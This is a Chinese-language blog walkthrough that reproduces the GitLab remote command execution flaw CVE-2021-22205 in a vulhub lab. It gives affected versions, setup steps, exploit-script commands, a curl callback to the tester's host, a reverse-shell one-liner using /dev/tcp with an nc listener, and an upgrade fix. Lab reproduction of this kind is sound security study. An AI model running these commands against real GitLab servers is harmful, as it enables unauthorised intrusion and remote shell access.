GitLab 远程命令执行漏洞复现(CVE-2021-22205)

一、漏洞描述

GitLab 没有正确验证传递给文件解析器的图像文件,这导致远程命令执行,可执行系统命令。这是一个严重的问题。它现在在最新版本中得到缓解,漏洞编号CVE-2021-22205。

二、影响版本

11.9 <=  GitLab(CE/EE)< 13.8.8
13.9 <=  GitLab(CE/EE)< 13.9.6
13.10 <= GitLab(CE/EE)< 13.10.3

三、环境搭建

快速搭建,可以使用vulhub

git clone https://github.com/vulhub/vulhub.git
cd vulhub/gitlab/CVE-2021-22205/
docker-compose up -d

环境启动后,访问http://127.0.0.1:8080即可查看到GitLab的登录页面

四、漏洞复现

4.1、脚本复现

4.1.1、下载利用脚本
https://github.com/Al1ex/CVE-2021-22205
4.1.2、检测漏洞是否存在
py CVE-2021-22205.py -v true -t http://192.168.30.56/

在这里插入图片描述

4.1.3、命令执行

首先起一个http服务

py -m http.server 1234

在这里插入图片描述
然后命令执行

py CVE-2021-22205.py -a true -t http://192.168.30.56/ -c "curl http://192.168.8.14:1234/1.txt"

通过http服务端查看,命令执行成功
在这里插入图片描述

4.1.4、反弹shell
#写入反弹shell脚本
py CVE-2021-22205.py -a true -t http://192.168.30.56/ -c "echo 'bash -i >& /dev/tcp/192.168.8.14/6666 0>&1' > /tmp/1.sh"
#赋予shell脚本执行权限
py CVE-2021-22205.py -a true -t http://192.168.30.56/ -c "chmod +x  /tmp/1.sh"
#服务器监听6666端口
nc64.exe -lvnp  6666
#获取git权限
py CVE-2021-22205.py -a true -t http://192.168.30.56/ -c "/bin/bash /tmp/1.sh"

在这里插入图片描述
在这里插入图片描述

五、解决方案

升级到最新版本。

要更新 GitLab,请参阅更新页面。要更新 Gitlab Runner,请参阅更新 Runner 页面。

参考:
https://www.freebuf.com/articles/web/303375.html
https://github.com/Al1ex/CVE-2021-22205

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值